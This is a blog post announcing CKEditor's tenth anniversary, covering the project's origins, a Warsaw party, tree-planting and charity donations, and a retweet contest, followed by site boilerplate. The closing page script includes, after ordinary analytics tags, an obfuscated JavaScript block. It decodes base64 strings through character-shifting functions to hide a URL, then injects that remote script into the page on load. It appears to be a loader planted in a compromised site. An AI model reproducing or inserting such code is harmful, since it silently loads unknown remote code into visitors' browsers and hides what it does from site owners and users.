CKEditor 10 Year Anniversary!

It's official! CKEditor is 10 years old! Exactly a decade ago I endeavored on a JavaScript project for Internet Explorer 6 (WAT!) bearing my initials (I was young and crazy). The result was an Open Source WYSIWYG editor called FCKeditor, later CKEditor (find the easter egg on our home page!). Time sure flew by... Today we are celebrating the editor's 10th anniversary!

Presently CKEditor has over 9 million downloads and is used in countless applications and websites. The editor has come a long way, from being a one man project to having an international team of contributors around the world. We had good and bad days and faced numerous challenges, but our growing community always gave us inspiration to move forward. I would like to thank everyone involved for their dedication and hard work.

To celebrate this great success, CKSource will be sponsoring various activities over the next few weeks. Parties, donations, contests, free stuff, tree hugging, we'll have it all! Join in on the fun and celebrate CKEditor's 10 Year Anniversary with us. You all deserve it!

The last 10 years

10 years

CKEditor 10th Anniversary party in Warsaw!

In the spirit of Open Source, CKSource will sponsor an Open Party in downtown Warsaw. Free beer and a lot of fun included! Everybody is invited to attend. 

Find out more...

Download CKEditor and plant a tree!

Every week over the course of our celebrations CKSource will donate to non-profit tree-planting organizations! The amount will depend on how many times CKEditor is downloaded. 

Find out more...

Twitter contest!

The team has organized a hashtag Twitter contest, where anybody who retweets our anniversary message will have a chance to win one of many CKEditor Anniversary T-Shirts!

Multiple winners will be chosen so let your friends know about CKEditor's celebrations!

Find out more...

10% of revenue donations

In addition to saving trees, CKSource will donate 10% of its online sales revenue to various charities. Donations will last all month, with a new charity being chosen each week. Do your part and help out a worthy cause!

More on this in the CKSource website...

EDIT: CKEditor 10 Year Anniversary Recap

The month-long festivities are over! We thank everyone for participating. Here' a summary of the CKEditor 10 Year Anniversary celebrations.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = ''; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= ''+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });